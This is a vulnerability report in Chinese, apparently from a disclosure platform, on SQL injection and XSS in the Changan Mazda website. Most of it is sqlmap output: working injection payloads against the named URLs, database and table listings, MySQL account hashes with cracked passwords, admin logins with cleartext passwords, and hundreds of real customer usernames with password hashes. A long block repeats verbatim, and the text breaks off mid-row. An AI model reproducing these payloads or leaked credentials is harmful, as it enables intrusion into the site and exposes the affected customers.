2015-11-30： 细节已通知厂商并且等待厂商处理中 2015-12-05： 厂商已经主动忽略漏洞，细节向公众公开
长安马自达汽车有限公司官网多处SQL注入漏洞&反射型xss，泄露大量用户信息
注入点：
http://www.changan-mazda.com.cn//market/2015axelaanniversary/index/info/11/%5chttp://www.changan-mazda.com.cn:80//excellenceplan/position?keyword=&type=%5chttp://www.changan-mazda.com.cn:80//news/index?page=2&year=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'馃挬http://www.changan-mazda.com.cn:80//news/index?page=2&year=1
其中三处可通过%5c暴库，泄露绝对路径：
通过sqlmap注入测试：
GET parameter 'year' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 248 HTTP(s) requests:---Parameter: year (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: page=2&year=1 RLIKE (SELECT (CASE WHEN (3731=3731) THEN 1 ELSE 0x28 END)) Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: page=2&year=1 AND EXTRACTVALUE(4008,CONCAT(0x5c,0x7178787671,(SELECT (ELT(4008=4008,1))),0x717a6a6a71)) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: page=2&year=1 OR SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 27 columns Payload: page=2&year=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178787671,0x66684b52744d426a706b,0x717a6a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ---[00:36:05] [INFO] the back-end DBMS is MySQLweb application technology: PHP 5.3.10, Apache 2.4.1back-end DBMS: MySQL 5.1[00:36:05] [INFO] fetching database namesavailable databases [22]:[*] aaa[*] car[*] car_bak[*] changanmzd[*] changanmzd2015[*] chetie[*] ct[*] cx[*] cx5[*] cx5_2015[*] cx5_818[*] cx5wrzy[*] information_schema[*] market2015[*] market_babaquna[*] mazda[*] mazda_yumatravel[*] mazida[*] mysql[*] performance_schema[*] test[*] yumazu[00:36:06] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 210 times, 502 (Bad Gateway) - 2 times[00:36:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.changan-mazda.com.cn'[*] shutting down at 00:36:06mysql数据库用户和密码：大部分可解密： database management system users password hashes: [*] bfs2012 [1]: password hash: *78FFEF56689F9C577EE5025EA17A293007983EAD clear-text password: bfs2012[*] camzdmarket [1]: password hash: *B1ECA6CA2AF2B4F343C03F0C0BBE0253923A4053[*] camzdmarket1 [1]: password hash: *2F57BDDC6D9700346C16ACBCFD1D77BAFD121926[*] changanmzd [1]: password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0 clear-text password: !2#4%6[*] changxm_user1 [1]: password hash: *B1ECA6CA2AF2B4F343C03F0C0BBE0253923A4053[*] chetie [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] chetie1 [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] chezhan [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] chunsheng [1]: password hash: *138EDC6142EB42C6F88BED17EEC7B991D6FF6D7F[*] cig [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] cx5_818 [1]: password hash: *532B9AA306B3A7831554458D94670EC3157E69C1[*] cx5admin [1]: password hash: *AB585695001DA3EDBEEBA1E2C7AEC0B3747B9347[*] cx5wrzy [1]: password hash: *308192ABBFC0B0ABF7D2954D66E60F605E5F7A77[*] mazda [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] mazda2014 [1]: password hash: *569B2A087F2E4D62B9F7AB63C05AB709CD3B8FF3[*] mhgj2015 [1]: password hash: *6691484EA6B50DDDE1926A220DA01FA9E575C18A clear-text password: abc123[*] mzd2014 [1]: password hash: *569B2A087F2E4D62B9F7AB63C05AB709CD3B8FF3[*] newmzd [2]: password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0 clear-text password: !2#4%6 password hash: NULL[*] newmzd2015 [1]: password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0 clear-text password: !2#4%6[*] root [4]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB 1234.com password hash: *23AE809DDACAF96AF0FD78ED04B6A265E05AA257 clear-text password: 123 password hash: *25817BCE9A997710F8A129AF52153A903AB9254F password hash: NULL[*] yumazu [1]: password hash: *41FAE6125B56B75C531244B86939019D1F7F6E0DDatabase: changanmzd2015[64 tables]+--------------------------+| cx5_dealer || cx5_testdrive || cx5_user || gohome_user || ma_1year_news || ma_accessory || ma_accessory_children || ma_area || ma_assistant_charge || ma_assistant_remind || ma_boutique || ma_boutique_children || ma_brand || ma_brand_mileage || ma_brand_photo || ma_category || ma_check || ma_cities || ma_complain || ma_dealer || ma_dealer_event || ma_dealer_join_event || ma_dealer_news || ma_dealer_price || ma_dict || ma_download || ma_email || ma_event || ma_experience || ma_facade360 || ma_functions || ma_info || ma_infotype || ma_jobs || ma_leads || ma_maintain || ma_modle_param_all || ma_modles || ma_modles_bak20140929 || ma_modles_param || ma_modles_param_20140929 || ma_modles_param_all || ma_modles_photo || ma_onfile_customer || ma_poster || ma_poster_space || ma_provinces || ma_resumes || ma_retrpasstmp || ma_sms || ma_subscribe || ma_subscribe_20140419 || ma_sysuser || ma_tallybook || ma_users || orderdata_admins || orderdata_city || orderdata_dealers || orderdata_dmacity || orderdata_drive || orderdata_loginlog || orderdata_province || orderdata_roles || orderdata_setting |+--------------------------+Database: changanmzd2015Table: ma_sysuser[8 columns]+--------------+--------------+| Column | Type |+--------------+--------------+| jurisdiction | varchar(500) || lastip | varchar(20) || lasttime | datetime || logins | int(11) || realname | varchar(20) || sysuserid | int(11) || sysusername | varchar(50) || sysuserpwd | varchar(100) |+--------------+--------------+Database: changanmzd2015Table: ma_sysuser[2 entries]+-------------+----------------------------------+| sysusername | sysuserpwd |+-------------+----------------------------------+| admin | 2a1b7487460eab9e3a655968d87e703f | 19850612| ccc | 9db06bcff9248837f86d1a6bcf41c9e7 | 111111+-------------+----------------------------------+Database: changanmzd2015Table: ma_users[21 columns]+-----------------+--------------+| Column | Type |+-----------------+--------------+| address | varchar(200) || assistantid | int(11) || birthday | date || city | varchar(10) || email | varchar(100) || gender | tinyint(1) || intentionmodles | int(11) || isaccpetinfo | tinyint(1) || lastlogintime | datetime || loginnum | int(11) || mobile | varchar(20) || postcode | varchar(10) || province | varchar(10) || realname | varchar(20) || regfrom | varchar(20) || regtime | datetime || status | tinyint(1) || updatetime | datetime || userid | int(11) || username | varchar(100) || userpwd | varchar(64) |+-----------------+--------------+Database: changanmzd2015Table: ma_users[1157 entries]一千多位用户详细信息：+-----------------+----------------------------------+| username | userpwd |+-----------------+----------------------------------+[16:49:09] [WARNING] console output will be trimmed to last 256 rows due to large table size| 大亮 | bcea40d5027d70bf67134386e3db6791 || M18064 | bcea40d5027d70bf67134386e3db6791 || peterbjh | bcea40d5027d70bf67134386e3db6791 || abc8000 | bcea40d5027d70bf67134386e3db6791 || a105174744 | bcea40d5027d70bf67134386e3db6791 || duxiaogen | bcea40d5027d70bf67134386e3db6791 || wanlovep | bcea40d5027d70bf67134386e3db6791 || flashwjj | bcea40d5027d70bf67134386e3db6791 || hedong825 | bcea40d5027d70bf67134386e3db6791 || jinge0109 | bcea40d5027d70bf67134386e3db6791 || 情在草原 | bcea40d5027d70bf67134386e3db6791 || badpeter88 | bcea40d5027d70bf67134386e3db6791 || makailun1016 | bcea40d5027d70bf67134386e3db6791 || spookywolf | bcea40d5027d70bf67134386e3db6791 || fan19810627 | bcea40d5027d70bf67134386e3db6791 || 自来卷0901 | bcea40d5027d70bf67134386e3db6791 || 3xyjs | d59eb828e57156014adc4ce1ec3a6167 || henrycyylzm | a8ac29e156acb494c89b07a89aa59dc9 || littlewgh | e8496bf9a261441fd984c3a96decc8c4 || gxf900327 | 072c0470e28d8634c2883fe4885ce6e6 || 在水一方 | 0f8fad117740dc78cb2e834068b94fab || xiaoheng0409 | 1f64183d9d5f9270be75c43bebf9ef54 || 赖皮肖 | ed95a9a2415358fa98f9b6ab4e9aa328 || A605495134A | 1ff69e5d4428ad900f119a31c9a12737 || 余江居客 | 8224bb597bc3a089ac862408766b4c8f || wcj1216 | 14e1b600b1fd579f47433b88e8d85291 || cy6cy6 | 9db06bcff9248837f86d1a6bcf41c9e7 || 张雪山 | 263afb891026643d49e32636d9247805 || yac521480 | 2080d15d08d665a7ea0d9e581465dd67 || linlinming1020 | 6482edc31ca131f6b418bbfbc2481930 || jsnjhql | 6d00e6774997c20c84973e457b8b0554 || pilian112 | cbb8053162df1f409937a479f586bd6f || lyhvvcf | c3de5ff972ab9389157ef43f63a99d62 || 夜汐魂 | 25c69c4e3796c55f65de1048a4ab3d76 || cheka214 | 11cdbe38c8ffbc685b07fb3156ed4b18 || 孙树会 | 4a6b0f2a594c1e38f76f723f5a6d972b || 990991670 | c2c5e486a7dc9588d8628c1b2e7aa246 || 一脚泥 | b5dbe36cedbcc289bbe5b44fdd15e796 || 河南那郑州 | 10b073232ff83a735e1ce9c287eaf788 || CX51T590 | ae476544d4e65b243cd863c31fba47c5 || jiangang5 | a146e7c6da13bab7105e8eb9ccf4123d || 535433348ren | d1fb52546ae97441a0d961fad423c456 || wf4569249 | 26a347035ab435cea8ac814e5ccd083d || caiite | 20b0a222c3472ad33e72c43ff1a2f484 || zhongqiuting | 87267cb34dee789caba61f79dc27fc41 || jiaquan86 | d8e06c92666704affb9966774cc986ca || yand1984 | 8a2e42e99f7f2cb9999c99d2ac05de7b || 和先生 | 1fe8780772e35e4f73e0481eb6c9d241 || doneyboyyy | 007773a36e77595cb7f63473920e36ce || goodtimelsr | 3bc8ea1524c3dcd7a07035b1b2de5cfe || caoying611 | b0ed8780da1a5819a56c91ce65e7ec1f || 7261128 | c3503665bc1c5236ac87e0600d018e02 || zhuhuan2545 | 867d5f090d16e1bdd08504a16b13d684 || chxw1982 | deff180bd7ffd982f27bcf68a2c57dc0 || 苏小明 | f0884c0533b5d9fb0d317cc3019320de || q305977424 | 89c345e9257c5bacb41b128471989e76 || 胜王2004 | 0bd00010656d173019d8dbe6214d07fa || gangkk | 476499bb3b4fd5772fd4511e2a774df1 || Zhong1800 | e04f92521fcfc07d2c2c61257f242931 || w_bbg | db5e4394ee7ba8b75b84a9438cdc9c69 || Monozm | 8cc80ddde6b69c01defcbb7b5d4ce2cf || 郭焱 | 0433b22c25606a4343de7bc5bd0f8bc0 || pl520118 | dbfc1922975270b3fc1d35fc67c6c1a3 || June-MING | 8669ef246023f50913f405ca719daeeb || ghy2520 | eb89946f3ad8d323c346fd74a12a512f || woxingwosu | 54a3a78aca0c5dce5aeb73a087e6bd8d || 翰思睿 | 68ea081caca76fa648829bc6eba730cb || yiyi123456 | 14e1b600b1fd579f47433b88e8d85291 || jjzhang321 | 9fca0c6e42b0150caebcc6db12a6945a || 56103 | 24fd50c7ff4c087cc0967dfb39b0ba65 || mb2824230 | 1fc5cfbf3ceb3bfef8bdf9cc1ebe9488 || 程大实 | 78fdd5fbfe26f7ada6621f5ff3084cb3 || lishen920 | f0ad96fd51243c7490a4bdde5cd5a401 || bodhi17 | 775de54a5168e015f540af6be5175181 || ljg9866 | db2c880a8ce835645c84b834f8d702de || ljg9866321 | db2c880a8ce835645c84b834f8d702de || 564500GGM | 4fbd1e2b9d517c11aa2273efc7425199 || nxlpja | d28ed931cd171e3e384f83dd08e7a167 || zens | b21a3c0ae0fd797a636d465339c904b2 || 3621055 | aa7fa1ba3e975a61b47a9a5533e97ced || 超哥8133 | 328f2888b655cd39c868d27b882c9611 || 约尔开什 | e6173064eddc39c38ce44527eca2f59f || 峰BMW | 873c619671072c4dfa341f10c9c7373d || bigdog0714 | 9209804669240a0a87dd9625b25a4009 || 夏亚军 | 655f67c8504447a9a427aeebf2bbfd33 || taok | 4f2f2771b5a0961186d8905245710576 || 662798a | b86e472c557fa2cce49f4d098f5ee84e || kof2008 | a7a293774df92de6d431ee69a8913cca || lianglei | 2f35201ced19cf53c392da3287044491 || 632868937 | 7bb8e1be9f1974c40b5ac61f5a5a1aa1 || chouchou | 536c1184b07951ad1584c0760b14392a || rice | 2ad2b0736463b49dda1869c915c1f3c4 || SIPINGZHOU88 | 0992bd6bcbd2037eb22c1b81f71fbbaf || LIQINGFENG | b50ba3fca9ea8ce5f5ca5c73b192018d || dhj77_2007 | 6a61f18b40f422c66a11126aee708a14 || yulong123 | 565ff3b1e6e398232082d9f4f76d142c || yaoguoqiang888 | e38a3cc21e78a85ee721cb848533ef34 || 吉祥 | bdb854f256098cd3f2af2bc5a0a04bd7 || czmaomao | 9422ebfeba11abb4db77217457582c9d || zhuwangrong | cc1a54d85f44b5ed94c6c2935b851d36 || sams | 5945f6ec1b386fb5f6b8c5b4444e0f39 || 周瑶 | 0d6a93854a96fa7e995f34f4a011b6e0 || lywx1226 | b34a8f1134bf15032744c8a4d20c279a || 陈前驰 | e9c899fb1ca3c3973205e891514fbe35 || hhmnuaa | fb2e71cb8e28b07f83a6c99149cca5cb || temp991 | d05435584d8c39fe09f8889e7f80a941 || 牧精绒羊绒 | 004fff65590a1742e5d43a07a21fa8b1 || kfcisguy | 09e4fddb01380a369e7fa7b50c2f75d1 || zc08223353 | 6d9809d4e8f67f118463d4801944493c || ezaile | a50677822c6ed1f14b338d57be4d28ce || kaneyet | 5f721d551447fceacf092e5c3cb3ca5d || wwygrm2000 | 5350a7154ee4c7bd6eb2e82c4182ea36 || 一叶飘零 | 3ae29f63a20c5cd74f2a295461a2a891 || daniulemon | 7373682357ee2cc2aa78fd897a55f9c4 || zs200500760 | ea0172c5bab1249cdb42b993a912d2b5 || q7433573 | b8ce23963e977eb2eec05fcf0567f6a9 || 15901810216 | 75bacf95f12fc51587a7357ecb730cc8 || @江湖寂寞 | 9e54671f2842092bb4c56afe32e839c2 || ys2572092 | 1635ffb91fa3fd2832018984920b6016 || chill | c4c2ed53bf31745a95bcc0f97d39bf1a || 陈梦 | 2cb02981e6f336b7e3c42bb0bc32a29b || bnihao888 | a5e9c27a818c04868740a36203810716 || andy_an | 95a0b9cb2c928336528bcdad17b163a3 || longyy8888 | 16379d13c6334f39ae6fb5b405978034 || lxyang | 39a006632313135e70efa1d9ade9426a || lh7374520 | 94631ed51f49fa6a4801f451acd622df || shuaibi123456 | 5dd1f375562e765698e823566254e251 || 沐凭兮 | 1c595b96ea24095ecd01402c6eeac64b || zhangleiever | 88d94c426fab2a46a7f878a31435b833 || ryanzhao | 47e56ca69dcda3af0b6791fe0bc9cc8f || qwe11223 | 6f6880cf46f51dd77d974651ddbf9d9b || xyhfun | 47a52bb70e2f67a01a86308763e705bd || yangyu0541 | 156ed93e4a2f328c1f1857e7a0f87dd0 || cf_ygy | 9cee5a5dad9dc326a7a5a5ac1910d361 || 季长伟 | 7af9dc195f6e209a0df8c1e4b7558c76 || 一颗在路上的心 | d4ebfefc9254f0ceae174858cc7ecc16 || 蓝色诳人 | 0c56764e2aa99c05db76e127bd43cb36 || 马自达897100 | f946c449c7a773863227a5c420a03967 || ct100CT | e821f87dde0533bf6933551795fd1f7a || 陈世国 | 493af98b6486c29dee861df7ab7b09f6 || zhuyonggang315 | 76dccdbc8855c4efa678474ce5c896d8 || 锡钧先生 | fc5f2b1b85571a7063ec76b3494e42c3 || houy1210 | 927bb44685b9768da84e72bd365d8d1e || 小马奔腾 | 810d570724d22c8ee521c3976f339707 || 调皮的小晨晨 | 1624964af6e2b0a58de7a8b5af91024f || 冰川2003 | 0d9b411ac71fd7ff5c8917130dea05ae || laughingsakula | bd2c5938db3d790afa3959f1fc16eac3 || yytian | 17aa322f89cf827156a5e037513ee249 || qhjdxm | 26db92652e0cc6b93c5a8c2face2acb9 || wuhhanxiao | 2b9f931583e9d2ca36ffd60267660f4e || 郭文凡 | c6b1280cca4f750b616e9e5087904b39 || viplcx | 547c3f3088b97133695438224080c896 || bhlc | d7b2e1e00c702af1bea5854f7d9817af || andyyu1300 | a3bee12d7e7f7f353e67d2b21a299848 || 小豆苗 | 45b6612b16da4cd40f21bbfcd62e3cfd || 13502720353 | 63cd370bd3e4d1123354851d6503ba66 || vipkulala | db7dbbc3298d3a7ecd1561eaf0689b47 || 137776713 | dfd4bdd5e0bcbe14b500b3be0c06f1d7 || pengyou886 | cb6f4dd1f073a0a6dadfe7aae58bcb9c || zacharysu | e44610bb9d895156b0393ef011e945b0 || ak1031 | d6f21094d0847987b57e39f579ff6625 || suixuguang | e2a8042c077d9da296c8e4cf5443f9c2 || auto | 146fae7c2728692704424ca1b17fbe2d || lsguoke | 8b3a05e60517ddb36577b4e813eb8122 || 天书 | 93f2cc2edaf8eba36ba12e845ce369d9 || 平平然 | 11a1220872d2782e8afa27ff8349d0e2 || 刘易敏 | 550e1bafe077ff0b0b67f4e32f29d751 || dwbf | 9e9a6490107b94cf0c22c2f0444c720c || kyo009 | 223a12cd7d073a06c0a78212bc8bacf3 || glw730926 | ca614f50f63c0edb6a09c67db18b7780 || cyc920130 | f3278083dfe97636f9bb17b64441ecda || bbbingi | f3a1da9893e70a231996fd16016b8978 || 450978708 | d7b2e1e00c702af1bea5854f7d9817af || 450485393 | 06dda02fa444d3dd4dd5ebbbc60ade87 || Wayne | 8e484998f9340e2dad5221a20d37977b || 钱子敬 | e37a167e0e029334ef5c59716c69bf8b || mazd20611 | adc582d8175225514141f5442bed155c || yzyxj | d82117d303569957dc338d1ab2980be3 || kidpudding | a2af48feba541a1cd9d076b74d416848 || 小白昂 | 8174187f6455a83033fb518c96b8391d || hb0702 | 0534b9335ec73e14abca0f7acc4f1ccc || 258730239 | e63711e4d70e1e75956d8d2e0914331b || 李江伟 | d5b07693dc59abb276ade1b6ec54d007 || lfonline | 14e1b600b1fd579f47433b88e8d85291 || xuopenlx | 6bbd63a6e3ae9872e462f9227e909e75 || JarsunCrow | 2827d94ceff6e33c89e9449d669feae2 || cqx218 | 7b37fbdcb4dedb18220ba6b362155022 || 84558603qq | 359cd4f583f7526a6f7ad343f032c5b6 || leien | 6a87e6ee7822ec9fe343362e9b7354eb || 18974868180 | c0531365b72278cacb70096ad7162019 || 跃马扬鞭 | 1ee5160fa12dcdb52e32b4901b8af388 || xzxlxxq | 5da877db5dcc3ba79faa6e21a0a88868 || eric55555 | c6dfac086b3476749165519deb551616 || yuguojun1984 | 67d490255accc377318bcd5fb9d33d76 || 后情人 | f0f9017114663006f62861d1e1cfd90c || 奔跑的蚂蚁 | 2b477f813f0032a686a1d64c5068a549 || 270052758 | 37012bf7f0f844800304e5408febb082 || Tsim | bc3e59fc0883b3171931a635c500f5b4 || 317730627 | 5893aafbdc2a5a1fdbbee988d5ed0905 || romariniho | cc107249adde716b7bbb54011da6ce0b || MZD02015 | 9148359df2cdea5b282784c2b01cfc63 || 徐爽 | 3f6e88f52ac4215871685f70cb25a271 || panchenggong123 | e2dd5465023e7150dc881304f522a5c7 || caoyifeng2015 | d6eb64735ab1e14ed48b2feca42368e2 || cs-5 | 14e1b600b1fd579f47433b88e8d85291 || luoyuangen | 04283ec0da9a953c485d2a071e6189c1 || 行车电脑 | 4af03e2ebc8e577c11609af5d0cd7fa9 || zephyrw | 1f801dbcd97d3c71ff6b97735f4524e2 || schycpf | 782dbda62ea12ad8fe3b3cf8ebd832d4 || 余弦 | 0fe2063de125543a5b9b090590f1e8a5 || horse669 | 98951f4bace5004e19d45982bd07ea4e || shaoroom | 9be9bb5087a29465a48e31d1de3b9d1a || jqb123jqb789 | f7013a1d2253da9b4108a5fe192789e7 || 酷爱阳光 | 3249f4a2e23a56c85836974e54b5f1dc || efcyy | 579972e3d6b7a1f652ba63a0eb1602d7 || 湘南乃风 | 08cce8d53002f7592771196c8d65aa89 || 850064623 | e1f9b75db51da1ae4231a2b075edaaa8 || zhouping629 | 6824a788b45ffd5af4932fe11fef492c || luoyuqilyq | f16ea15bd0ac2aa4dd8a9bfe2be12b7b || 色金丰蓝 | c5cba7bbc464cceef3e6d2645ebb0111 || limit | ad3705b1ffa71d2e654eb562b422b270 || lianss | 6c9605c0faef7aea3c1ab2e0228ef856 || fhh602 | 4a91d1c43ff1614bd53c98105f52a5b3 || M18033 | 688d8bde8623fd4f77b72d88b84c2b46 || materal | 2b4110f2005103ab85b75ad752a517c3 || sxy2023645 | be148ff51813cf75706a0875bb47d174 || 孙恺 | 2c27dbb531dd42c95446f84fdd964fcd || kli22 | 161614378ce997021253a7d784d3f757 || andyma760 | 9f63c2ec4e8c822e698937314be3cbdd || 奋斗6677 | 09853ac4570a8af733733f04efb1df4b || 天龙山5 | dd7e55e84bccd40508588074597596fc || df5130000 | 6de43ee1a1ee05e4dfbf5704094e9187 || liu419 | 868a9be50c5d9ff12dedd6a12021be33 || 肥波跑得快 | 621d7dbc609c1ba1a4087d9991ee06e3 || luomin21cn | 6031f7d807d6e792d89207d1298f4049 || hanjincai | 63ee451939ed580ef3c4b6f0109d1fd0 || Q2631EH936 | cf48284e94bae826aa7786c241758c6b || vicleo | 469698270091e7ddbd8e143c799ecf3f || LANSEYU76 | fa989846db2b56de8f2a421ae30e5b5b || 钟文巨 | 1ec57dedc06436f0e0f7e465b42e1028 || llove1111 | 1497bc7a9844923ecdd781fe881265e0 || 39279732 | d73629f244b1d9d6d49744cc2a363971 || zhgfhfh | d88681857a7dc0d5ac55b74ebea9dc1e || petersucre | 51f34b384cdcbf0f7aedb878feecbc5d || 奔跑的鸵鸟 | 70c25a67121b8899479ea2b3e978818f || realadam | 55ff0e4c8fb5e66a05e05625022cf8df || raox@163.com | 6a9cfd8a908ae10f5d99a4a654ff6b7c || pspcn | bd0b83d2299c1017423709f79d1e81aa || carlandersen | a1b938a0825f644a46b7c5222379ce0c || xsz60524 | cad214be17c05f1fc5dace8e42dc30ca || f1632063 | 9e351309e155b88d5d45c3ea6ec9073a || 姜有鱼 | d93cda975f5488d00e460101f4c6414d || karatlee | 916a9a0ce28423634150c4e065144ccc || ac626 | 75525c0c12f5a56cfb1c930f16b4dc07 || 黄山光头强1983 | fc85c7fcdb4a179ac52f7cbf0b4356a3 || lgmqw | d52636aee278821353c7dfc2e3c49e03 |+-----------------+----------------------------------+[16:49:10] [INFO] table 'changanmzd2015.ma_users' dumped to CSV file '/root/.sqlmap/output/www.changan-mazda.com.cn/dump/changanmzd2015/ma_users.csv'[16:49:10] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.changan-mazda.com.cn'[*] shutting down at 16:49:10Database: changanmzd2015Table: orderdata_admins[9 columns]+---------------+-------------+| Column | Type |+---------------+-------------+| admintype | smallint(1) || createtime | datetime || id | int(8) || lastloginip | varchar(25) || lastlogintime | datetime || password | varchar(32) || roleid | int(10) || updatetime | datetime || username | varchar(30) |+---------------+-------------+获取后台用户和密码：Database: changanmzd2015Table: orderdata_admins[3 entries]+----------+-------------------------------------------+| username | password |+----------+-------------------------------------------+| admin | 698d51a19d8a121ce581499d7b701668 (111) || apiuser | e10adc3949ba59abbe56e057f20f883e (123456) || test | 96e79218965eb72c92a549dd5a330112 (111111) |+----------+-------------------------------------------+
database management system users password hashes: [*] bfs2012 [1]: password hash: *78FFEF56689F9C577EE5025EA17A293007983EAD clear-text password: bfs2012[*] camzdmarket [1]: password hash: *B1ECA6CA2AF2B4F343C03F0C0BBE0253923A4053[*] camzdmarket1 [1]: password hash: *2F57BDDC6D9700346C16ACBCFD1D77BAFD121926[*] changanmzd [1]: password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0 clear-text password: !2#4%6[*] changxm_user1 [1]: password hash: *B1ECA6CA2AF2B4F343C03F0C0BBE0253923A4053[*] chetie [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] chetie1 [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] chezhan [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] chunsheng [1]: password hash: *138EDC6142EB42C6F88BED17EEC7B991D6FF6D7F[*] cig [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] cx5_818 [1]: password hash: *532B9AA306B3A7831554458D94670EC3157E69C1[*] cx5admin [1]: password hash: *AB585695001DA3EDBEEBA1E2C7AEC0B3747B9347[*] cx5wrzy [1]: password hash: *308192ABBFC0B0ABF7D2954D66E60F605E5F7A77[*] mazda [1]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB[*] mazda2014 [1]: password hash: *569B2A087F2E4D62B9F7AB63C05AB709CD3B8FF3[*] mhgj2015 [1]: password hash: *6691484EA6B50DDDE1926A220DA01FA9E575C18A clear-text password: abc123[*] mzd2014 [1]: password hash: *569B2A087F2E4D62B9F7AB63C05AB709CD3B8FF3[*] newmzd [2]: password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0 clear-text password: !2#4%6 password hash: NULL[*] newmzd2015 [1]: password hash: *80D11427A22E73E13573451012DC23BA4D8B90B0 clear-text password: !2#4%6[*] root [4]: password hash: *1239E6520E172C667D664988BF0B452CB4D74CEB 1234.com password hash: *23AE809DDACAF96AF0FD78ED04B6A265E05AA257 clear-text password: 123 password hash: *25817BCE9A997710F8A129AF52153A903AB9254F password hash: NULL[*] yumazu [1]: password hash: *41FAE6125B56B75C531244B86939019D1F7F6E0DDatabase: changanmzd2015[64 tables]+--------------------------+| cx5_dealer || cx5_testdrive || cx5_user || gohome_user || ma_1year_news || ma_accessory || ma_accessory_children || ma_area || ma_assistant_charge || ma_assistant_remind || ma_boutique || ma_boutique_children || ma_brand || ma_brand_mileage || ma_brand_photo || ma_category || ma_check || ma_cities || ma_complain || ma_dealer || ma_dealer_event || ma_dealer_join_event || ma_dealer_news || ma_dealer_price || ma_dict || ma_download || ma_email || ma_event || ma_experience || ma_facade360 || ma_functions || ma_info || ma_infotype || ma_jobs || ma_leads || ma_maintain || ma_modle_param_all || ma_modles || ma_modles_bak20140929 || ma_modles_param || ma_modles_param_20140929 || ma_modles_param_all || ma_modles_photo || ma_onfile_customer || ma_poster || ma_poster_space || ma_provinces || ma_resumes || ma_retrpasstmp || ma_sms || ma_subscribe || ma_subscribe_20140419 || ma_sysuser || ma_tallybook || ma_users || orderdata_admins || orderdata_city || orderdata_dealers || orderdata_dmacity || orderdata_drive || orderdata_loginlog || orderdata_province || orderdata_roles || orderdata_setting |+--------------------------+Database: changanmzd2015Table: ma_sysuser[8 columns]+--------------+--------------+| Column | Type |+--------------+--------------+| jurisdiction | varchar(500) || lastip | varchar(20) || lasttime | datetime || logins | int(11) || realname | varchar(20) || sysuserid | int(11) || sysusername | varchar(50) || sysuserpwd | varchar(100) |+--------------+--------------+Database: changanmzd2015Table: ma_sysuser[2 entries]+-------------+----------------------------------+| sysusername | sysuserpwd |+-------------+----------------------------------+| admin | 2a1b7487460eab9e3a655968d87e703f | 19850612| ccc | 9db06bcff9248837f86d1a6bcf41c9e7 | 111111+-------------+----------------------------------+Database: changanmzd2015Table: ma_users[21 columns]+-----------------+--------------+| Column | Type |+-----------------+--------------+| address | varchar(200) || assistantid | int(11) || birthday | date || city | varchar(10) || email | varchar(100) || gender | tinyint(1) || intentionmodles | int(11) || isaccpetinfo | tinyint(1) || lastlogintime | datetime || loginnum | int(11) || mobile | varchar(20) || postcode | varchar(10) || province | varchar(10) || realname | varchar(20) || regfrom | varchar(20) || regtime | datetime || status | tinyint(1) || updatetime | datetime || userid | int(11) || username | varchar(100) || userpwd | varchar(64) |+-----------------+--------------+Database: changanmzd2015Table: ma_users[1157 entries]一千多位用户详细信息：+-----------------+----------------------------------+| username | userpwd |+-----------------+----------------------------------+[16:49:09] [WARNING] console output will be trimmed to last 256 rows due to large table size| 大亮 | bcea40d5027d70bf67134386e3db6791 || M18064 | bcea40d5027d70bf67134386e3db6791 || peterbjh | bcea40d5027d70bf67134386e3db6791 || abc8000 | bcea40d5027d70bf67134386e3db6791 || a105174744 | bcea40d5027d70bf67134386e3db6791 || duxiaogen | bcea40d5027d70bf67134386e3db6791 || wanlovep | bcea40d5027d70bf67134386e3db6791 || flashwjj | bcea40d5027d70bf67134386e3db6791 || hedong825 | bcea40d5027d70bf67134386e3db6791 || jinge0109 | bcea40d5027d70bf67134386e3db6791 || 情在草原 | bcea40d5027d70bf67134386e3db6791 || badpeter88 | bcea40d5027d70bf67134386e3db6791 || makailun1016 | bcea40d5027d70bf67134386e3db6791 || spookywolf | bcea40d5027d70bf67134386e3db6791 || fan19810627 | bcea40d5027d70bf67134386e3db6791 || 自来卷0901 | bcea40d5027d70bf67134386e3db6791 || 3xyjs | d59eb828e57156014adc4ce1ec3a6167 || henrycyylzm | a8ac29e156acb494c89b07a89aa59dc9 || littlewgh | e8496bf9a261441fd984c3a96decc8c4 || gxf900327 | 072c0470e28d8634c2883fe4885ce6e6 || 在水一方 | 0f8fad117740dc78cb2e834068b94fab || xiaoheng0409 | 1f64183d9d5f9270be75c43bebf9ef54 || 赖皮肖 | ed95a9a2415358fa98f9b6ab4e9aa328 || A605495134A | 1ff69e5d4428ad900f119a31c9a12737 || 余江居客 | 8224bb597bc3a089ac862408766b4c8f || wcj1216 | 14e1b600b1fd579f47433b88e8d85291 || cy6cy6 | 9db06bcff9248837f86d1a6bcf41c9e7 || 张雪山 | 263afb891026643d49e32636d9247805 || yac521480 | 2080d15d08d665a7ea0d9e581465dd67 || linlinming1020 | 6482edc31ca131f6b418bbfbc2481930 || jsnjhql | 6d00e6774997c20c84973e457b8b0554 || pilian112 | cbb8053162df1f409937a479f586bd6f || lyhvvcf | 